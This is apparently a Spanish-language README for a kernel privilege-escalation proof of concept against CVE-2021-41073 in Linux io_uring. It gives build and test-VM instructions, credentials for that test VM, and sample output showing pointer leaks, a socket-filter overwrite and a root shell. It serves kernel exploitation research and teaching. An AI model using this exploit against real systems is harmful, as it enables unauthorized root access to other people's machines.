
Explotación de escalada de privilegios local para CVE-2021-41073, una vulnerabilidad de confusión de tipos en io_uring del kernel de Linux, que permite obtener root en configuraciones predeterminadas.
Exploit de LPE para la vulnerabilidad de confusión de tipos io_uring CVE-2021-41073.
Consulta el writeup Put an io_uring on it: Exploiting the Linux Kernel.
autor: @chompie1337
Solo con fines educativos/de investigación. No apto para pruebas o evaluaciones de seguridad.
Para compilar (requiere liburing):
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
He proporcionado una VM de prueba con un kernel 5.15-rc1 para probar/ejecutar el exploit.
Para iniciar la VM, extrae el archivo test_vm y ejecuta:
qemu-system-x86_64 -m 2G -smp 2 -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic -pidfile vm.pid 2>&1 | tee vm.log
Conéctate por ssh a la máquina como usuario sin privilegios:
ssh -p 10021 hi@localhost
contraseña: lol
Para ejecutar:
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
A veces se necesitan 3-4 intentos para completar toda la secuencia del exploit. Reinicia la VM después de cada intento de exploit. Se puede trabajar en el futuro para mejorar este exploit; las técnicas se proporcionan en el writeup. Publico el PoC con el estricto propósito de compartir conocimiento con otros investigadores y con aquellos que quieran aprender sobre explotación avanzada del kernel.
Este exploit es una PRUEBA DE CONCEPTO de las técnicas discutidas en la publicación del blog, y logra la escalada local de privilegios del Linux Kernel 5.15-rc-1 con configuraciones predeterminadas. NO es mi intención adaptar un exploit y armarlo para que funcione con todas las versiones afectadas de Linux. He proporcionado el código para demostrar la mayoría de las técnicas discutidas, y he creado y documentado las técnicas necesarias para evadir varias mitigaciones que algunas distribuciones pueden habilitar en la publicación del blog adjunta.
Las configuraciones del kernel utilizadas en la VM de prueba proporcionada están en la carpeta test_vm si deseas trabajar con un kernel compilado personalizado. Si quieres contribuir, las solicitudes de extracción son bienvenidas :)
Esta investigación fue patrocinada por Grapl.